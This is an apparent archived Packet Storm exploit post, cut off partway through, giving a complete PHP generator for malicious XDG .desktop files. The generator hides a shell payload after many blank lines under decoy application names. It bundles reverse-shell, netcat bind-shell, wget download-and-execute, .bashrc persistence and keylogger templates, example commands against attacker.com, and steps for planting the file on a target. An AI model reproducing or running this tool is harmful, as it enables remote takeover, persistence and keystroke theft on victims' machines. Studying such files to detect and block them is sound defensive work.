{"id":30775,"date":"2025-12-12T11:58:46","date_gmt":"2025-12-12T11:58:46","guid":{"rendered":"http:\/\/localhost\/?p=30775"},"modified":"2025-12-12T11:58:46","modified_gmt":"2025-12-12T11:58:46","slug":"desktop-xdg-10-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=30775","title":{"rendered":"\ud83d\udcc4 Desktop XDG 1.0 Code Execution_PACKETSTORM:212769"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-12T17:15:41&#8243;,&#8221;description&#8221;:&#8221;This proof of concept generates a malicious file that allows for arbitrary code execution in Desktop XDG version 1.0&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Desktop XDG 1.0 Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212769&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Desktop XDG v1.0 Malicious File                                                                                             |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : System built\u2011in component. No standalone download available.                                                                |\\n    =============================================================================================================================================\\n    \\n    [+] References :  https:\/\/packetstorm.news\/files\/id\/208942\/\\n    \\n    [+] Summary : This PHP script generates a custom XDG desktop file (.desktop).Its purpose is to automatically build the file format, set basic metadata, and insert an execution command.\\n    \\n    [+] Main Features:\\n    \\n    Generates a .desktop file with configurable:\\n    \\n    Filename\\n    \\n    Display name\\n    \\n    Number of blank lines before the Exec field\\n    \\n    Command to run when clicked (payload)\\n    \\n    Random application name generation when not provided.\\n    \\n    Escapes shell-special characters for safety inside the Exec string.\\n    \\n    Outputs the generated content for review.\\n    \\n    Makes the file executable (chmod 0755).\\n    \\n    [+] Technical Breakdown:\\n    \\n    Random Name Generation\\n    \\n    Produces a string between 6 and 12 characters.\\n    \\n    .desktop Building\\n    \\n    Starts with the required header:\\n    \\n    [Desktop Entry]\\n    \\n    \\n    Adds common keys:\\n    \\n    Type=Application\\n    Name=\\u003cgenerated\\u003e\\n    NoDisplay=true\\n    Terminal=false\\n    \\n    \\n    Randomizes their ordering.\\n    \\n    [+] Payload Line :\\n    \\n    Appended after many blank lines (prepend_new_lines)\\n    \\n    Output Operations\\n    \\n    Writes the file using file_put_contents()\\n    \\n    Changes its mode to executable (chmod)\\n    \\n    \u2714\ufe0f Example Output File (Structure Only \u2013 Safe)\\n    \\n    [Desktop Entry]\\n    Type=Application\\n    Name=MyApp123\\n    NoDisplay=true\\n    Terminal=false\\n    \\n    \\n    \\n    Exec=\/bin\/sh -c \\&#8221;\\u003cescaped payload\\u003e\\&#8221;\\n    \\n    [+]  POC :\\t\\n    \\n    # Show help\\n    \\n    php desktop_exploit.php &#8211;help\\n    \\n    # Show available templates\\n    \\n    php desktop_exploit.php &#8211;list-payloads\\n    \\n    # Interactive mode\\n    \\n    php desktop_exploit.php &#8211;interactive\\n    \\n    # Create a live file\\n    \\n    php desktop_exploit.php filename=backdoor.desktop payload=\\&#8221;id\\&#8221;\\n    \\n    # With application name\\n    \\n    php desktop_exploit.php filename=malicious.desktop application_name=UpdateManager payload=\\&#8221;wget \u200b\u200bhttp:\/\/attacker.com\/backdoor\\&#8221;\\n    \\n    \\u003c?php\\n    \\n    class MaliciousDesktopFile {\\n        \/\/ Configuration options\\n        private $filename = &#8216;msf.desktop&#8217;;\\n        private $applicationName = &#8221;;\\n        private $prependNewLines = 100;\\n        private $payload = &#8221;;\\n        \\n        \/\/ Supported platforms\\n        private $supportedPlatforms = [&#8216;linux&#8217;, &#8216;unix&#8217;, &#8216;solaris&#8217;, &#8216;freebsd&#8217;];\\n        \\n        \/\/ Common payload templates\\n        private $payloadTemplates = [\\n            &#8216;reverse_shell&#8217; =\\u003e [\\n                &#8216;name&#8217; =\\u003e &#8216;Reverse Shell&#8217;,\\n                &#8216;payload&#8217; =\\u003e &#8216;bash -i \\u003e\\u0026 \/dev\/tcp\/{IP}\/{PORT} 0\\u003e\\u00261&#8217;,\\n                &#8216;description&#8217; =\\u003e &#8216;Reverse shell to attacker machine&#8217;,\\n                &#8216;variables&#8217; =\\u003e [&#8216;IP&#8217;, &#8216;PORT&#8217;]\\n            ],\\n            &#8216;bind_shell&#8217; =\\u003e [\\n                &#8216;name&#8217; =\\u003e &#8216;Bind Shell&#8217;,\\n                &#8216;payload&#8217; =\\u003e &#8216;nc -lvp {PORT} -e \/bin\/bash&#8217;,\\n                &#8216;description&#8217; =\\u003e &#8216;Bind shell on target machine&#8217;,\\n                &#8216;variables&#8217; =\\u003e [&#8216;PORT&#8217;]\\n            ],\\n            &#8216;download_execute&#8217; =\\u003e [\\n                &#8216;name&#8217; =\\u003e &#8216;Download and Execute&#8217;,\\n                &#8216;payload&#8217; =\\u003e &#8216;wget {URL} -O \/tmp\/backdoor \\u0026\\u0026 chmod +x \/tmp\/backdoor \\u0026\\u0026 \/tmp\/backdoor&#8217;,\\n                &#8216;description&#8217; =\\u003e &#8216;Download and execute remote file&#8217;,\\n                &#8216;variables&#8217; =\\u003e [&#8216;URL&#8217;]\\n            ],\\n            &#8216;persistence&#8217; =\\u003e [\\n                &#8216;name&#8217; =\\u003e &#8216;Persistence&#8217;,\\n                &#8216;payload&#8217; =\\u003e &#8216;echo \\&#8221;{COMMAND}\\&#8221; \\u003e\\u003e ~\/.bashrc&#8217;,\\n                &#8216;description&#8217; =\\u003e &#8216;Add command to bashrc for persistence&#8217;,\\n                &#8216;variables&#8217; =\\u003e [&#8216;COMMAND&#8217;]\\n            ],\\n            &#8216;keylogger&#8217; =\\u003e [\\n                &#8216;name&#8217; =\\u003e &#8216;Simple Keylogger&#8217;,\\n                &#8216;payload&#8217; =\\u003e &#8216;while true; do xinput &#8211;query-state {KEYBOARD_ID} | grep -o \\&#8221;key\\\\\\\\[[0-9]*\\\\\\\\]=down\\&#8221; \\u003e\\u003e \/tmp\/keys.log; sleep 0.1; done&#8217;,\\n                &#8216;description&#8217; =\\u003e &#8216;Basic keylogger (requires xinput)&#8217;,\\n                &#8216;variables&#8217; =\\u003e [&#8216;KEYBOARD_ID&#8217;]\\n            ],\\n            &#8216;custom&#8217; =\\u003e [\\n                &#8216;name&#8217; =\\u003e &#8216;Custom Payload&#8217;,\\n                &#8216;payload&#8217; =\\u003e &#8221;,\\n                &#8216;description&#8217; =\\u003e &#8216;Custom command payload&#8217;,\\n                &#8216;variables&#8217; =\\u003e []\\n            ]\\n        ];\\n        \\n        \/\/ Colors for CLI output\\n        private $colors = [\\n            &#8216;red&#8217; =\\u003e \\&#8221;\\\\033[31m\\&#8221;,\\n            &#8216;green&#8217; =\\u003e \\&#8221;\\\\033[32m\\&#8221;,\\n            &#8216;yellow&#8217; =\\u003e \\&#8221;\\\\033[33m\\&#8221;,\\n            &#8216;blue&#8217; =\\u003e \\&#8221;\\\\033[34m\\&#8221;,\\n            &#8216;magenta&#8217; =\\u003e \\&#8221;\\\\033[35m\\&#8221;,\\n            &#8216;cyan&#8217; =\\u003e \\&#8221;\\\\033[36m\\&#8221;,\\n            &#8216;white&#8217; =\\u003e \\&#8221;\\\\033[37m\\&#8221;,\\n            &#8216;reset&#8217; =\\u003e \\&#8221;\\\\033[0m\\&#8221;\\n        ];\\n        \\n        \/**\\n         * Constructor\\n         *\/\\n        public function __construct($options = []) {\\n            \/\/ Display banner\\n            $this-\\u003eshowBanner();\\n            \\n            \/\/ Parse options\\n            $this-\\u003eparseOptions($options);\\n        }\\n        \\n        \/**\\n         * Show application banner\\n         *\/\\n        private function showBanner() {\\n            if (php_sapi_name() !== &#8216;cli&#8217;) {\\n                return;\\n            }\\n            \\n            $banner = \\&#8221;\\n    {$this-\\u003ecolors[&#8216;cyan&#8217;]}\\n    \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551         Malicious XDG Desktop File Generator             \u2551\\n    \u2551                  (indoushka Edition)                     \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d{$this-\\u003ecolors[&#8216;reset&#8217;]}\\n    \\n    {$this-\\u003ecolors[&#8216;yellow&#8217;]}DISCLAIMER:{$this-\\u003ecolors[&#8216;reset&#8217;]} For authorized penetration testing and educational purposes only.\\n               Use only on systems you own or have explicit permission to test.\\n               The author is not responsible for any misuse of this tool.\\n    \\n    {$this-\\u003ecolors[&#8216;green&#8217;]}Platforms Supported:{$this-\\u003ecolors[&#8216;reset&#8217;]} \\&#8221; . implode(&#8216;, &#8216;, $this-\\u003esupportedPlatforms) . \\&#8221;\\\\n\\n    \\&#8221;;\\n            \\n            echo $banner;\\n        }\\n        \\n        \/**\\n         * Parse and validate options\\n         *\/\\n        private function parseOptions($options) {\\n            \/\/ Parse command line arguments if running in CLI\\n            if (php_sapi_name() === &#8216;cli&#8217;) {\\n                global $argv;\\n                $options = array_merge($options, $this-\\u003eparseCliArguments($argv));\\n            }\\n            \\n            \/\/ Set filename\\n            if (!empty($options[&#8216;filename&#8217;])) {\\n                $this-\\u003efilename = $options[&#8216;filename&#8217;];\\n            }\\n            \\n            \/\/ Set application name\\n            if (!empty($options[&#8216;application_name&#8217;])) {\\n                $this-\\u003eapplicationName = $options[&#8216;application_name&#8217;];\\n            } else {\\n                $this-\\u003eapplicationName = $this-\\u003egenerateRandomName();\\n            }\\n            \\n            \/\/ Set prepend new lines\\n            if (!empty($options[&#8216;prepend_new_lines&#8217;])) {\\n                $this-\\u003eprependNewLines = (int)$options[&#8216;prepend_new_lines&#8217;];\\n            }\\n            \\n            \/\/ Set payload\\n            if (!empty($options[&#8216;payload&#8217;])) {\\n                $this-\\u003epayload = $options[&#8216;payload&#8217;];\\n            }\\n            \\n            \/\/ If payload is not set, show interactive menu\\n            if (empty($this-\\u003epayload) \\u0026\\u0026 php_sapi_name() === &#8216;cli&#8217;) {\\n                $this-\\u003eshowPayloadMenu();\\n            }\\n        }\\n        \\n        \/**\\n         * Parse CLI arguments\\n         *\/\\n        private function parseCliArguments($argv) {\\n            $options = [];\\n            \\n            foreach ($argv as $arg) {\\n                if (strpos($arg, &#8216;=&#8217;) !== false) {\\n                    list($key, $value) = explode(&#8216;=&#8217;, $arg, 2);\\n                    $options[$key] = $value;\\n                } elseif ($arg === &#8216;&#8211;help&#8217; || $arg === &#8216;-h&#8217;) {\\n                    $this-\\u003eshowHelp();\\n                    exit(0);\\n                } elseif ($arg === &#8216;&#8211;list-payloads&#8217; || $arg === &#8216;-l&#8217;) {\\n                    $this-\\u003elistPayloadTemplates();\\n                    exit(0);\\n                } elseif ($arg === &#8216;&#8211;interactive&#8217; || $arg === &#8216;-i&#8217;) {\\n                    $this-\\u003einteractiveMode();\\n                    exit(0);\\n                }\\n            }\\n            \\n            return $options;\\n        }\\n        \\n        \/**\\n         * Show interactive payload menu\\n         *\/\\n        private function showPayloadMenu() {\\n            echo \\&#8221;{$this-\\u003ecolors[&#8216;yellow&#8217;]}No payload specified.{$this-\\u003ecolors[&#8216;reset&#8217;]}\\\\n\\\\n\\&#8221;;\\n            \\n            $this-\\u003elistPayloadTemplates();\\n            \\n            echo \\&#8221;\\\\n{$this-\\u003ecolors[&#8216;green&#8217;]}Select payload type (1-\\&#8221; . count($this-\\u003epayloadTemplates) . \\&#8221;): {$this-\\u003ecolors[&#8216;reset&#8217;]}\\&#8221;;\\n            $choice = trim(fgets(STDIN));\\n            \\n            if (is_numeric($choice) \\u0026\\u0026 $choice \\u003e= 1 \\u0026\\u0026 $choice \\u003c= count($this-\\u003epayloadTemplates)) {\\n                $keys = array_keys($this-\\u003epayloadTemplates);\\n                $selected = $keys[$choice &#8211; 1];\\n                \\n                $this-\\u003econfigurePayloadTemplate($selected);\\n            } else {\\n                echo \\&#8221;{$this-\\u003ecolors[&#8216;red&#8217;]}Invalid selection. Using custom payload.{$this-\\u003ecolors[&#8216;reset&#8217;]}\\\\n\\&#8221;;\\n                $this-\\u003egetCustomPayload();\\n            }\\n        }\\n        \\n        \/**\\n         * List available payload templates\\n         *\/\\n        private function listPayloadTemplates() {\\n            echo \\&#8221;{$this-\\u003ecolors[&#8216;cyan&#8217;]}Available Payload Templates:{$this-\\u003ecolors[&#8216;reset&#8217;]}\\\\n\\\\n\\&#8221;;\\n            \\n            $i = 1;\\n            foreach ($this-\\u003epayloadTemplates as $key =\\u003e $template) {\\n                echo \\&#8221;{$this-\\u003ecolors[&#8216;yellow&#8217;]}{$i}. {$template[&#8216;name&#8217;]}{$this-\\u003ecolors[&#8216;reset&#8217;]}\\\\n\\&#8221;;\\n                echo \\&#8221;   {$template[&#8216;description&#8217;]}\\\\n\\&#8221;;\\n                echo \\&#8221;   Template: {$this-\\u003ecolors[&#8216;green&#8217;]}{$template[&#8216;payload&#8217;]}{$this-\\u003ecolors[&#8216;reset&#8217;]}\\\\n\\&#8221;;\\n                if (!empty($template[&#8216;variables&#8217;])) {\\n                    echo \\&#8221;   Variables: \\&#8221; . implode(&#8216;, &#8216;, $template[&#8216;variables&#8217;]) . \\&#8221;\\\\n\\&#8221;;\\n                }\\n                echo \\&#8221;\\\\n\\&#8221;;\\n                $i++;\\n            }\\n        }\\n        \\n        \/**\\n         * Configure selected payload template\\n         *\/\\n        private function configurePayloadTemplate($templateKey) {\\n            $template = $this-\\u003epayloadTemplates[$templateKey];\\n            \\n            echo \\&#8221;\\\\n{$this-\\u003ecolors[&#8216;cyan&#8217;]}Configuring: {$template[&#8216;name&#8217;]}{$this-\\u003ecolors[&#8216;reset&#8217;]}\\\\n\\&#8221;;\\n            echo \\&#8221;Description: {$template[&#8216;description&#8217;]}\\\\n\\\\n\\&#8221;;\\n            \\n            $payload = $template[&#8216;payload&#8217;];\\n            \\n            \/\/ Replace variables\\n            foreach ($template[&#8216;variables&#8217;] as $variable) {\\n                echo \\&#8221;Enter value for {$this-\\u003ecolors[&#8216;yellow&#8217;]}{$variable}{$this-\\u003ecolors[&#8216;reset&#8217;]}: \\&#8221;;\\n                $value = trim(fgets(STDIN));\\n                $payload = str_replace(\\&#8221;{{$variable}}\\&#8221;, $value, $payload);\\n            }\\n            \\n            $this-\\u003epayload = $payload;\\n            \\n            \/\/ Ask for confirmation\\n            echo \\&#8221;\\\\n{$this-\\u003ecolors[&#8216;green&#8217;]}Generated payload:{$this-\\u003ecolors[&#8216;reset&#8217;]} {$payload}\\\\n\\&#8221;;\\n            echo \\&#8221;Use this payload? (Y\/n): \\&#8221;;\\n            $confirm = trim(fgets(STDIN));\\n            \\n            if (strtolower($confirm) === &#8216;n&#8217;) {\\n                $this-\\u003egetCustomPayload();\\n            }\\n        }\\n        \\n        \/**\\n         * Get custom payload from user\\n         *\/\\n        private function getCustomPayload() {\\n            echo \\&#8221;\\\\n{$this-\\u003ecolors[&#8216;yellow&#8217;]}Enter custom payload:{$this-\\u003ecolors[&#8216;reset&#8217;]}\\\\n\\&#8221;;\\n            echo \\&#8221;\\u003e \\&#8221;;\\n            $this-\\u003epayload = trim(fgets(STDIN));\\n        }\\n        \\n        \/**\\n         * Generate random application name\\n         *\/\\n        private function generateRandomName($minLength = 6, $maxLength = 12) {\\n            $length = rand($minLength, $maxLength);\\n            $characters = &#8216;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&#8217;;\\n            $name = &#8221;;\\n            \\n            for ($i = 0; $i \\u003c $length; $i++) {\\n                $name .= $characters[rand(0, strlen($characters) &#8211; 1)];\\n            }\\n            \\n            return $name;\\n        }\\n        \\n        \/**\\n         * Escape payload for desktop file\\n         *\/\\n        private function escapePayload($payload) {\\n            $escaped = str_replace(&#8216;\\\\\\\\&#8217;, &#8216;\\\\\\\\\\\\\\\\\\\\\\\\&#8217;, $payload);\\n            $escaped = str_replace(&#8216;\\&#8221;&#8216;, &#8216;\\\\\\\\\\&#8221;&#8216;, $escaped);\\n            return $escaped;\\n        }\\n        \\n        \/**\\n         * Create malicious desktop file\\n         *\/\\n        public function exploit() {\\n            echo \\&#8221;\\\\n{$this-\\u003ecolors[&#8216;cyan&#8217;]}Creating malicious desktop file&#8230;{$this-\\u003ecolors[&#8216;reset&#8217;]}\\\\n\\&#8221;;\\n            \\n            \/\/ Validate payload\\n            if (empty($this-\\u003epayload)) {\\n                throw new Exception(\\&#8221;Payload cannot be empty\\&#8221;);\\n            }\\n            \\n            \/\/ Desktop file values\\n            $values = [\\n                &#8216;Type=Application&#8217;,\\n                &#8216;Name=&#8217; . $this-\\u003eapplicationName,\\n                \/\/ &#8216;Hidden=true&#8217;, \/\/ Not supported by old systems\\n                &#8216;NoDisplay=true&#8217;,\\n                &#8216;Terminal=false&#8217;\\n            ];\\n            \\n            \/\/ Shuffle the values (except [Desktop Entry] header)\\n            shuffle($values);\\n            \\n            \/\/ Build desktop file content\\n            $desktop = \\&#8221;[Desktop Entry]\\\\n\\&#8221;;\\n            $desktop .= implode(\\&#8221;\\\\n\\&#8221;, $values) . \\&#8221;\\\\n\\&#8221;;\\n            $desktop .= str_repeat(\\&#8221;\\\\n\\&#8221;, $this-\\u003eprependNewLines);\\n            \\n            \/\/ Add payload\\n            $escapedPayload = $this-\\u003eescapePayload($this-\\u003epayload);\\n            $desktop .= \\&#8221;Exec=\/bin\/sh -c \\\\\\&#8221;\\&#8221; . $escapedPayload . \\&#8221;\\\\\\&#8221;\\\\n\\&#8221;;\\n            \\n            \/\/ Create file\\n            $result = file_put_contents($this-\\u003efilename, $desktop);\\n            \\n            if ($result === false) {\\n                throw new Exception(\\&#8221;Failed to create file: \\&#8221; . $this-\\u003efilename);\\n            }\\n            \\n            \/\/ Make file executable\\n            chmod($this-\\u003efilename, 0755);\\n            \\n            return [\\n                &#8216;filename&#8217; =\\u003e realpath($this-\\u003efilename),\\n                &#8216;content&#8217; =\\u003e $desktop,\\n                &#8216;size&#8217; =\\u003e strlen($desktop),\\n                &#8216;application_name&#8217; =\\u003e $this-\\u003eapplicationName,\\n                &#8216;payload&#8217; =\\u003e $this-\\u003epayload\\n            ];\\n        }\\n        \\n        \/**\\n         * Show help information\\n         *\/\\n        public function showHelp() {\\n            $help = \\&#8221;\\n    {$this-\\u003ecolors[&#8216;cyan&#8217;]}Usage:{$this-\\u003ecolors[&#8216;reset&#8217;]}\\n      php \\&#8221; . basename(__FILE__) . \\&#8221; [options]\\n    \\n    {$this-\\u003ecolors[&#8216;yellow&#8217;]}Options:{$this-\\u003ecolors[&#8216;reset&#8217;]}\\n      filename=\\u003cname\\u003e          Output filename (default: msf.desktop)\\n      application_name=\\u003cname\\u003e  Application name (default: random)\\n      prepend_new_lines=\\u003cnum\\u003e  Number of newlines before payload (default: 100)\\n      payload=\\u003ccommand\\u003e        Command payload to execute\\n    \\n    {$this-\\u003ecolors[&#8216;yellow&#8217;]}Flags:{$this-\\u003ecolors[&#8216;reset&#8217;]}\\n      -h, &#8211;help              Show this help message\\n      -l, &#8211;list-payloads     List available payload templates\\n      -i, &#8211;interactive       Interactive mode\\n    \\n    {$this-\\u003ecolors[&#8216;yellow&#8217;]}Examples:{$this-\\u003ecolors[&#8216;reset&#8217;]}\\n      php \\&#8221; . basename(__FILE__) . \\&#8221; filename=malicious.desktop payload=\\\\\\&#8221;id\\\\\\&#8221;\\n      php \\&#8221; . basename(__FILE__) . \\&#8221; filename=backdoor.desktop application_name=UpdateManager\\n      php \\&#8221; . basename(__FILE__) . \\&#8221; &#8211;interactive\\n      php \\&#8221; . basename(__FILE__) . \\&#8221; &#8211;list-payloads\\n    \\n    {$this-\\u003ecolors[&#8216;yellow&#8217;]}Note:{$this-\\u003ecolors[&#8216;reset&#8217;]}\\n      On modern systems, users will see a warning when running untrusted .desktop files.\\n      Some file managers require marking the file as trusted before execution.\\n      \\n    {$this-\\u003ecolors[&#8216;red&#8217;]}WARNING:{$this-\\u003ecolors[&#8216;reset&#8217;]} Use only for authorized security testing!\\n    \\&#8221;;\\n            \\n            echo $help;\\n        }\\n        \\n        \/**\\n         * Interactive mode\\n         *\/\\n        public function interactiveMode() {\\n            echo \\&#8221;{$this-\\u003ecolors[&#8216;cyan&#8217;]}Interactive Mode{$this-\\u003ecolors[&#8216;reset&#8217;]}\\\\n\\&#8221;;\\n            echo \\&#8221;===============\\\\n\\\\n\\&#8221;;\\n            \\n            \/\/ Get filename\\n            echo \\&#8221;Enter output filename [msf.desktop]: \\&#8221;;\\n            $filename = trim(fgets(STDIN));\\n            if (!empty($filename)) {\\n                $this-\\u003efilename = $filename;\\n            }\\n            \\n            \/\/ Get application name\\n            echo \\&#8221;Enter application name [random]: \\&#8221;;\\n            $appName = trim(fgets(STDIN));\\n            if (!empty($appName)) {\\n                $this-\\u003eapplicationName = $appName;\\n            } else {\\n                $this-\\u003eapplicationName = $this-\\u003egenerateRandomName();\\n            }\\n            \\n            \/\/ Get prepend lines\\n            echo \\&#8221;Enter number of newlines before payload [100]: \\&#8221;;\\n            $newlines = trim(fgets(STDIN));\\n            if (is_numeric($newlines)) {\\n                $this-\\u003eprependNewLines = (int)$newlines;\\n            }\\n            \\n            \/\/ Show payload menu\\n            $this-\\u003eshowPayloadMenu();\\n            \\n            \/\/ Create file\\n            try {\\n                $result = $this-\\u003eexploit();\\n                $this-\\u003eshowSuccess($result);\\n            } catch (Exception $e) {\\n                $this-\\u003eshowError($e-\\u003egetMessage());\\n            }\\n        }\\n        \\n        \/**\\n         * Display success message\\n         *\/\\n        private function showSuccess($result) {\\n            $output = \\&#8221;\\n    {$this-\\u003ecolors[&#8216;green&#8217;]}\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551                SUCCESSFULLY CREATED!                     \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d{$this-\\u003ecolors[&#8216;reset&#8217;]}\\n    \\n    {$this-\\u003ecolors[&#8216;cyan&#8217;]}File Information:{$this-\\u003ecolors[&#8216;reset&#8217;]}\\n      Filename:     {$result[&#8216;filename&#8217;]}\\n      File Size:    {$result[&#8216;size&#8217;]} bytes\\n      Application:  {$result[&#8216;application_name&#8217;]}\\n    \\n    {$this-\\u003ecolors[&#8216;cyan&#8217;]}Payload:{$this-\\u003ecolors[&#8216;reset&#8217;]}\\n      {$result[&#8216;payload&#8217;]}\\n    \\n    {$this-\\u003ecolors[&#8216;yellow&#8217;]}Desktop File Content Preview:{$this-\\u003ecolors[&#8216;reset&#8217;]}\\n    \\&#8221; . substr($result[&#8216;content&#8217;], 0, 500) . \\&#8221;&#8230;\\\\n\\n    \\n    {$this-\\u003ecolors[&#8216;yellow&#8217;]}Usage Instructions:{$this-\\u003ecolors[&#8216;reset&#8217;]}\\n      1. Transfer the file to the target system\\n      2. The user must execute the .desktop file\\n      3. Most systems will show a security warning\\n      4. User must click \\\\\\&#8221;Trust and Launch\\\\\\&#8221; or similar\\n    \\n    {$this-\\u003ecolors[&#8216;red&#8217;]}Security Note:{$this-\\u003ecolors[&#8216;reset&#8217;]}\\n      This file may be detected by antivirus software.\\n      Modern Linux desktops have security warnings for untrusted .desktop files.\\n      \\n    {$this-\\u003ecolors[&#8216;green&#8217;]}File created successfully!{$this-\\u003ecolors[&#8216;reset&#8217;]}\\n    \\&#8221;;\\n            \\n            echo $output;\\n        }\\n        \\n        \/**\\n         * Display error message\\n         *\/\\n        private function showError($message) {\\n            echo \\&#8221;{$this-\\u003ecolors[&#8216;red&#8217;]}Error:{$this-\\u003ecolors[&#8216;reset&#8217;]} {$message}\\\\n\\&#8221;;\\n        }\\n        \\n        \/**\\n         * Create reverse shell payload\\n         *\/\\n        public static function createReverseShell($ip, $port = 4444, $options = []) {\\n            $payload = \\&#8221;bash -i \\u003e\\u0026 \/dev\/tcp\/{$ip}\/{$port} 0\\u003e\\u00261\\&#8221;;\\n            \\n            $options[&#8216;payload&#8217;] = $payload;\\n            if (empty($options[&#8216;application_name&#8217;])) {\\n                $options[&#8216;application_name&#8217;] = &#8216;NetworkManager&#8217;;\\n            }\\n            \\n            $exploit = new self($options);\\n            return $exploit-\\u003eexploit();\\n        }\\n        \\n        \/**\\n         * Create bind shell payload\\n         *\/\\n        public static function createBindShell($port = 4444, $options = []) {\\n            $payload = \\&#8221;nc -lvp {$port} -e \/bin\/bash\\&#8221;;\\n            \\n            $options[&#8216;payload&#8217;] = $payload;\\n            if (empty($options[&#8216;application_name&#8217;])) {\\n                $options[&#8216;application_name&#8217;] = &#8216;SystemMonitor&#8217;;\\n            }\\n            \\n            $exploit = new self($options);\\n            return $exploit-\\u003eexploit();\\n        }\\n    }\\n    \\n    \/\/ Main execution\\n    if (php_sapi_name() === &#8216;cli&#8217; \\u0026\\u0026 isset($argv[0]) \\u0026\\u0026 basename($argv[0]) === basename(__FILE__)) {\\n        try {\\n            \/\/ Check if help requested\\n            if (in_array(&#8216;&#8211;help&#8217;, $argv) || in_array(&#8216;-h&#8217;, $argv)) {\\n                $exploit = new MaliciousDesktopFile();\\n                $exploit-\\u003eshowHelp();\\n                exit(0);\\n            }\\n            \\n            \/\/ Check if interactive mode\\n            if (in_array(&#8216;&#8211;interactive&#8217;, $argv) || in_array(&#8216;-i&#8217;, $argv)) {\\n                $exploit = new MaliciousDesktopFile();\\n                $exploit-\\u003einteractiveMode();\\n                exit(0);\\n            }\\n            \\n            \/\/ Check if list payloads\\n            if (in_array(&#8216;&#8211;list-payloads&#8217;, $argv) || in_array(&#8216;-l&#8217;, $argv)) {\\n                $exploit = new MaliciousDesktopFile();\\n                $exploit-\\u003elistPayloadTemplates();\\n                exit(0);\\n            }\\n            \\n            \/\/ Parse command line arguments\\n            $options = [];\\n            foreach ($argv as $arg) {\\n                if (strpos($arg, &#8216;=&#8217;) !== false) {\\n                    list($key, $value) = explode(&#8216;=&#8217;, $arg, 2);\\n                    $options[$key] = $value;\\n                }\\n            }\\n            \\n            \/\/ Create exploit instance\\n            $exploit = new MaliciousDesktopFile($options);\\n            \\n            \/\/ Execute exploit\\n            $result = $exploit-\\u003eexploit();\\n            \\n            \/\/ Show success message\\n            $exploit-\\u003eshowSuccess($result);\\n            \\n        } catch (Exception $e) {\\n            echo \\&#8221;{$exploit-\\u003ecolors[&#8216;red&#8217;]}Error:{$exploit-\\u003ecolors[&#8216;reset&#8217;]} \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n    }\\n    \\n    \/\/ Web interface (if accessed via browser)\\n    if (php_sapi_name() !== &#8216;cli&#8217;) {\\n        ?\\u003e\\n        \\u003c!DOCTYPE html\\u003e\\n        \\u003chtml lang=\\&#8221;en\\&#8221;\\u003e\\n        \\u003chead\\u003e\\n            \\u003cmeta charset=\\&#8221;UTF-8\\&#8221;\\u003e\\n            \\u003cmeta name=\\&#8221;viewport\\&#8221; content=\\&#8221;width=device-width, initial-scale=1.0\\&#8221;\\u003e\\n            \\u003ctitle\\u003eDesktop File Generator\\u003c\/title\\u003e\\n            \\u003cstyle\\u003e\\n                * {\\n                    box-sizing: border-box;\\n                    margin: 0;\\n                    padding: 0;\\n                    font-family: &#8216;Segoe UI&#8217;, Tahoma, Geneva, Verdana, sans-serif;\\n                }\\n                \\n                body {\\n                    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);\\n                    min-height: 100vh;\\n                    display: flex;\\n                    justify-content: center;\\n                    align-items: center;\\n                    padding: 20px;\\n                }\\n                \\n                .container {\\n                    background: white;\\n                    border-radius: 20px;\\n                    box-shadow: 0 20px 60px rgba(0,0,0,0.3);\\n                    padding: 40px;\\n                    width: 100%;\\n                    max-width: 800px;\\n                }\\n                \\n                h1 {\\n                    color: #333;\\n                    margin-bottom: 10px;\\n                    text-align: center;\\n                }\\n                \\n                .subtitle 